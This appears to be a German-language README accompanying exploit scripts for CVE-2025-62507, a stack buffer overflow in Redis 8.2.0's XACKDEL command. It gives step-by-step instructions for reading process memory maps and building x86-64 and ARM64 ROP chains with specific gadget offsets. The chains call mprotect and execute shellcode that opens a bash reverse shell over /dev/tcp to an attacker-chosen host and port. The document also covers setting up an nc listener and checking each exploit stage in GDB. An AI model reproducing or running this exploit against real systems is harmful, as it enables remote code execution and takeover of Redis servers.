Exploit-Skripte — CVE-2025-62507
Verzeichnisstruktur
scripts/
├── exploit_x86.py # x86-64 ROP exploit
├── exploit_arm64.py # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh # GDB-Debugging-Hilfsskript
Schwachstellenübersicht
| Element | Beschreibung |
|---|
| CVE | CVE-2025-62507 |
| Schwachstellentyp | Stack-Pufferüberlauf (Stack Buffer Overflow) |
| Betroffene Komponente | Redis-8.2.0-Funktion xackdelCommand |
| Auslöser | XACKDEL-Befehl mit über 52 streamIDs |
| Ausnutzungstechnik | ROP-Kette → mprotect entsperrt die Stack-Ausführungsberechtigung → Shellcode-Reverse-Shell |
| Abhängigkeiten | Python 3 (nur Standardbibliothek, keine zusätzliche Installation erforderlich) |
Voraussetzungen
- Zielumgebung: Docker-Container oder Host mit Redis 8.2.0 (verwundbare Version)
- Listener-Terminal: Auf dem Angreifer-Rechner muss vorab
nc -lvnp 4444 gestartet werden, um die Reverse-Shell zu empfangen
- Berechtigung zum Auslesen von Adressen: Zugriff auf
/proc/<PID>/maps des Zielprozesses erforderlich (root-Rechte)
- Python 3: Beide Exploit-Skripte verwenden nur die Standardbibliothek (
socket, struct, time, sys)
Schnellstart
1. Verwundbaren Redis-Container starten
# Im Projektstammverzeichnis ausführen
docker compose -f docker-compose-vulnerable.yml up -d
# Prüfen, dass der Container läuft
docker ps | grep redis-cve-2025-62507
2. Kritische Speicheradressen ermitteln
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# x86-64-Adressen ermitteln
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
Hinweis: Nach jedem Container-Neustart ändern sich die Adressen (ASLR) und müssen erneut ermittelt werden.
3. Reverse-Shell-Listener starten
# In einem weiteren Terminal auf dem Host
nc -lvnp 4444
4. Exploit ausführen
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (feste Adressen unter Docker QEMU, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
exploit_x86.py — x86-64 ROP-Exploit
Verwendung
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
Parameter
ROP-Ketten-Architektur
52 Füll-IDs (1-1)
│
▼
ID#53 Overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ Shellcode ──→ system("/bin/bash -c '...'")
Gadget-Offsets (redis-server-8.2.0)
Benutzerdefinierte Reverse-Shell-Adresse
Die Variable reverse_shell_cmd ist in Zeile 149 des Skripts definiert und lautet standardmäßig:
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
Ändern: Bearbeite exploit_x86.py, suche die Zeile reverse_shell_cmd und ersetze IP und Port:
Port ändern: Ersetze in /dev/tcp/<IP>/4444 die 4444 durch den tatsächlich lauschenden Port.
stack_page wird dynamisch aus dem Parameter stack_addr berechnet: (stack_addr + 0x1000) & ~0xFFF, damit das mprotect-Fenster den Stack-Bereich abdeckt, in dem der Shellcode liegt. Bei ungewöhnlichem Stack-Layout muss dies entsprechend angepasst werden.
exploit_arm64.py — ARM64 ROP-Exploit
Verwendung
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
Parameter
ARM64-Hinweis: stack_addr ist der SP-Wert beim Eintritt in xackdelCommand (nicht die Startadresse des [stack]-Segments!). static_ids[0] = stack_addr - 0x310, das gespeicherte x30 von call() liegt bei stack_addr + 8 (also static_ids[49].seq).
ROP-Ketten-Architektur
49 Füll-IDs (1-1)
│
▼
ID#49-58 call()-Epilog-Frame (10 IDs) — überschreibt die von call() gespeicherten Register und lokalen Variablen
│ #49: gespeichertes x29 (Dummy) + x30 (G5)
│ #50: gespeichertes x19/x20, #51: gespeichertes x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: lokale Variablen (auf 0 gesetzt)
│
▼ call() ret → SP = stack_addr + 0xa0
│
ID#59-61 Step 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Step 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Step 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Step 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Step 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Step 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Step 7: BLR_X3 (redis + 0x92bc4) call mprotect → Shellcode
ID#99+ Shellcode — system("/bin/bash -c 'reverse_shell_cmd'")
Wichtig: Der Epilog von call() stellt vor ret die Register x19–x28 vom Stack wieder her und liest mehrere lokale Variablen. ID#49–58 müssen mit sicheren Werten gefüllt werden, da der Epilog sonst während der Ausführung abstürzt. Die ROP-Kette beginnt bei ID#59 (SP-Position nach dem ret von call()).
Gadget-Offsets (redis-server-8.2.0-arm64)
Gadget-Offsets (libc.so.6-arm64, im Docker-Container)
Hinweis: LDR_X1_SIDELOAD hat den Seiteneffekt mov x0, x1; nach der Ausführung wird x0 durch x1 überschrieben! Danach muss x0 mit G5 oder LDR_X0_CLEAN neu gesetzt werden.
Benutzerdefinierte Reverse-Shell-Adresse
reverse_shell_cmd wird in der Funktion build_exploit_arm64() dynamisch aus den Parametern rev_shell_host und rev_shell_port aufgebaut:
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"
Empfohlene Methode: Reverse-Shell-Adresse über Kommandozeilenparameter angeben:
# Standard: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0
# Benutzerdefinierte Reverse-Shell-Adresse und Port:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
# ^^^^^^^^ ^^^^ ^^^^^^^^^^
# rev_host rev_port target
Direkte Änderung: Bearbeite exploit_arm64.py und ändere die Standardwerte der Parameter der Funktion exploit():
GDB-Debugging
Verwendung von gdb_with_symbols.sh
# Redis-PID ermitteln
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# GDB starten und Breakpoints automatisch setzen
./scripts/gdb_with_symbols.sh $REDIS_PID
Das Skript erledigt automatisch:
- Lädt die Symbolliste von
binaries/redis-server-8.2.0
- Setzt einen Breakpoint bei
xackdelCommand
- Setzt einen Breakpoint bei
mprotect
- Setzt einen Breakpoint bei
system
Wichtige Breakpoint-Positionen
# Eintritt in xackdelCommand — normales Stack-Layout beobachten
break xackdelCommand
# Nach dem Schreiben der 53. streamID — beobachten, wie die Rücksprungadresse überschrieben wird
# (Bedingten Breakpoint innerhalb der Schleife setzen)
# Vor dem mprotect-Aufruf — Parameter rdi/rsi/rdx verifizieren
break mprotect
# Vor dem system-Aufruf — verifizieren, dass rdi auf den Befehlsstring zeigt
break system
Wichtige Exploit-Schritte verifizieren
# 1. Nach dem Eintritt in xackdelCommand die Position des static_ids-Arrays finden
(gdb) x/10gx $rbp - 0x340 # x86-64
(gdb) x/10gx $sp # ARM64
# 2. Wenn der mprotect-Breakpoint ausgelöst wird, Parameter verifizieren
(gdb) info registers rdi rsi rdx # x86-64
(gdb) info registers x0 x1 x2 # ARM64
# Erwartet: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7
# 3. Nach der Rückkehr von mprotect RAX/X0 prüfen (=0 bedeutet Erfolg)
(gdb) finish
(gdb) info registers rax # x86-64
(gdb) info registers x0 # ARM64
# 4. Shellcode-Ausführung beobachten
(gdb) x/20i $rsp # x86-64: Shellcode nach call rsp
(gdb) x/20i $x30 # ARM64: Rücksprungadresse vor dem Sprung
Fehlerbehebung
Umgebungsbereinigung
# Container stoppen und entfernen
docker compose -f docker-compose-vulnerable.yml down
Dateireferenzen